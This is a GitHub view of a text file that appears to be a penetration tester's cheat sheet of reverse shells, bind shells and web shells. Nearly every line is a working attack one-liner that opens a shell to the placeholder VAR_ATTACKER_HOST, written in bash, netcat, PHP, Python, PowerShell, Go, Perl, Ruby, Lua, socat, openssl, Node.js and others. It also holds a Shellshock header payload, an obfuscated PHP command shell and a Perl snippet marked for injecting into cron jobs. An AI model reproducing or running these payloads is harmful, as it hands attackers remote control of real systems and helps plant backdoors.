-
Notifications
You must be signed in to change notification settings - Fork 35
/
Target.Host.OS.Shells.txt
190 lines (111 loc) · 8.87 KB
/
Target.Host.OS.Shells.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
`` Linux
@ snippets/linux/shells/
`` Windows
@ snippets/windows/shells/
`` Shell
~$ nohup /bin/bash -i >& /dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 0>&1
~$ exec 77<>/dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT;/bin/sh <&77 >&77 2>&77
~$ exec 77<>/dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT && while read line 0<&77; do $line 2>&77 >&77; done
`` nc
`` Listener
~$ nc -klv VAR_ATTACKER_PORT
~$ ncat -klv --ssl VAR_ATTACKER_PORT
`` Shell
`` nc
~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT >/tmp/f
~$ rm /tmp/f;mkfifo /tmp/f;nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT 0</tmp/f | /bin/sh -i 2>&1 | tee /tmp/f
`` ncat
~$ ncat -e /bin/sh --ssl VAR_ATTACKER_HOST VAR_ATTACKER_PORT
`` PHP
<?php $sock=fsockopen("VAR_ATTACKER_HOST", VAR_ATTACKER_PORT); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
<?php passthru('/bin/sh -c "exec nohup setsid /bin/sh 0</dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 1>&0 2>&0 &"'); ?>
<?php passthru('/bin/sh -c "exec nohup setsid /bin/sh 0</dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].' 1>&0 2>&0 &"'); ?>
-- If file descriptor 3 doesn’t work, try 4, 5 or 6
<?php $sock=fsockopen("VAR_ATTACKER_HOST", VAR_ATTACKER_PORT); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php passthru($_GET["cmd"]); ?>
<?php passthru($_GET["cmd"]); die(); ?>
<?php passthru('rm /tmp/.kernel;mkfifo /tmp/.kernel;cat /tmp/.kernel|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST VAR_ATTACKER_PORT >/tmp/.kernel'); ?>
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
-- Windows
<?php @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$s=@fsockopen("tcp://VAR_ATTACKER_HOST",VAR_ATTACKER_PORT);while($c=fread($s,2048)){$out="";if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=="quit"||substr($c,0,4)=="exit"){break;}else{$out=shell_exec(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs);break;}}fwrite($s,$out);}fclose($s);?>
`` Python
`` GNU/Linux
~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
`` Windows
~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%ComSpec%"]);'
`` Powershell
`` CLI
~> powershell -NoP -NonI -W Hidden -Exec Bypass -Command $client = New-Object System.Net.Sockets.TCPClient("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
~> powershell -nop -c "$ip='VAR_ATTACKER_HOST'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment = $true; $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes('OK'), $po); while ($true) { $ry = $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes(''), $po); if ($ry.Buffer) { $rs = ([text.encoding]::ASCII).GetString($ry.Buffer); $rt = (Invoke-Expression -Command $rs | Out-String ); $ic.Send($ip,60*1000,([text.encoding]::ASCII).GetBytes($rt),$po); } }"
`` go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
`` telnetd
~$ /usr/sbin/telnetd -l bin/sh -p 25
`` openssl
~$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
~$ openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
~$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -CAfile /tmp/cert.pem -verify_return_error -verify 1 -connect VAR_ATTACKER_HOST:VAR_ATTACKER_PORT > /tmp/s; rm /tmp/s
`` Java
~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=VAR_ATTACKER_HOST LPORT=VAR_ATTACKER_PORT -f war > /root/Desktop/shell.war
@ snippets/java/shells/
`` Lua
~$ lua -e "require('socket');require('os');t=socket.tcp();t:connect('VAR_ATTACKER_HOST','VAR_ATTACKER_PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
`` Ruby
~$ ruby -rsocket -e'f=TCPSocket.open("VAR_ATTACKER_HOST",VAR_ATTACKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
`` X
`` Target
~$ xterm -display VAR_ATTACKER_HOST:1
`` Attacker
~$ Xnest :1 -listen tcp
~$ xhost +VAR_TARGET_HOST
`` telnet
~$ rm -f /tmp/p; mknod /tmp/p p && telnet VAR_ATTACKER_HOST VAR_ATTACKER_PORT 0/tmp/p
~$ telnet VAR_ATTACKER_HOST 80 | /bin/sh | telnet VAR_ATTACKER_HOST 443
`` Gawk
~$ awk 'BEGIN {s = "/inet/tcp/0/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT"; while(1) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
`` Perl
~$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
~$ perl -e 'use Socket;$i="VAR_ATTACKER_HOST";$p=VAR_ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
`` Minimalistic approach, useful for injecting into Perl scripts (cron jobs?)
use IO::Socket::INET; $c=new IO::Socket::INET(PeerAddr,"VAR_ATTACKER_HOST:VAR_ATTACKER_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
`` socat
`` Bind
~$ socat TCP-LISTEN:VAR_ATTACKER_PORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
~$ socat FILE:`tty`,raw,echo=0 TCP:VAR_TARGET_HOST:VAR_ATTACKER_PORT
`` Reverse
~$ socat TCP-LISTEN:VAR_ATTACKER_PORT,reuseaddr FILE:`tty`,raw,echo=0
~$ socat TCP4:VAR_ATTACKER_HOST:VAR_ATTACKER_PORT EXEC:bash,pty,stderr,setsid,sigint,sane
`` Encrypted shell
`` Certificates
~$ openssl genrsa -out server.key 1024
~$ openssl req -new -key server.key -x509 -days 3653 -out server.crt
~$ cat server.key server.crt >server.pem
~$ chmod 600 server.key server.pem
~$ openssl genrsa -out client.key 1024
~$ openssl req -new -key client.key -x509 -days 3653 -out client.crt
~$ cat client.key client.crt >client.pem
~$ chmod 600 client.key client.pem
`` Server
~$ socat ssl-l:VAR_ATTACKER_PORT,reuseaddr,fork,cert=server.pem,cafile=client.crt,verify=1 exec:/bin/sh,pty,setsid,setpgid,stderr,ctty
`` Client
~$ socat -,raw,echo=0 ssl:VAR_ATTACKER_HOST:VAR_ATTACKER_PORT,cert=client.pem,cafile=server.crt
`` HTTP
`` Shellshock
Referer: () { :;}; /bin/sh -c "exec /bin/sh 0</dev/tcp/VAR_ATTACKER_HOST/VAR_ATTACKER_PORT 1>&0 2>&0 &"
`` Node.js
`` Reverse #1
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(VAR_ATTACKER_PORT, "VAR_ATTACKER_HOST", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
`` Reverse #2
require('child_process').exec('nc -e /bin/sh VAR_ATTACKER_HOST VAR_ATTACKER_PORT')